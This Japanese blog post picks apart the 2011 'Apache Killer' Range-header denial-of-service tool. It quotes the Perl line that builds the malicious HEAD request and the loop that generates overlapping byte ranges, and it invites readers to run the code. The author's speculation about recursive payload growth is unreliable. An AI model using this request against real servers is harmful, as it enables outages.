絵を描いたりネットいろいろ
スポンサーサイト
上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。
01
2chおちてる

なんか
apache killerっていうので落とされてるって噂
今から24時間以内にはパッチ公開してくるらしい

そんで killapache_pl.bin っていうファイルに行き着いた
ライセンスからんでるとめんどーなので全ソースはのせないです
http://seclists.org/fulldisclosure/2011/Aug/175
http://packetstormsecurity.org/files/view/104249/killapache.pl.txt

こういう系のはやった事ないから憶測でかいていくけど

多分 この行
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";

http://sourceforge.jp/magazine/11/08/25/0351236
の記事みると

 Apache KillerはFull-disclosureというメーリングリストで先週公開された。問題となっているのは「Range header DoS」と呼ばれる脆弱性。リモートから多数のRange指定を含むリクエストを送ることで、ターゲットシステムのメモリとCPUを消費させるというもの。

ってことらしい
rangeっていうのは、範囲って意味で

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
の中の
bytes=0-$p

これが問題の箇所っぽいな


変数$pに代入してその中に$pが入ってるっていう謎なんだけど、

とりあえず最初は$pには


for ($k=0;$k<1300;$k++) {
$p .= ",5-$k";
}

ここで代入されていて
,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17
,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-33
,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49
,5-50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65
,5-66,5-67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81
,5-82,5-83,5-84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97
,5-98,5-99,5-100,5-101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-110,5-1
11,5-112,5-113,5-114,5-115,5-116,5-117,5-118,5-119,5-120,5-121,5-122,5-123,5-124
,5-125,5-126,5-127,5-128,5-129,5-130,5-131,5-132,5-133,5-134,5-135,5-136,5-137,5
~~中略
,5-1290,5-1291,5-1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-1299
こんなデータが入ってて


"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5.....,5-1298,5-1299\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";


こんなデータを作って、送信してるっぽい
そんで次のループごとに、$pに$pを展開代入してるから変なデータになっていく


"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5.....,5-1298,5-1299\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";



"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes="HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5.....,5-1298,5-1299\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";



"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes="HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5.....,5-1298,5-1299\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";


----

ソースみるとこうなっていくように見える
けど実際に動かしてないから、間違ってるかもしれない 動かせる人は動かして試そうっ

この攻撃方法で落ちるんなら

Apache側が上手くこのデータを解読できないっていうか、
処理に時間がかかるにもかかわらず、解読しようとしてしまうのかもしれない
そういうデータは解読しようとしないで端から捨てるようにしなくちゃいけないんだ

だとすれば1人がこれを実行した時点でApacheサーバー落ちるのもありえそうです

へーーーー
すっごーーーい

ゆっゆっゆ!

    0..

kakikomi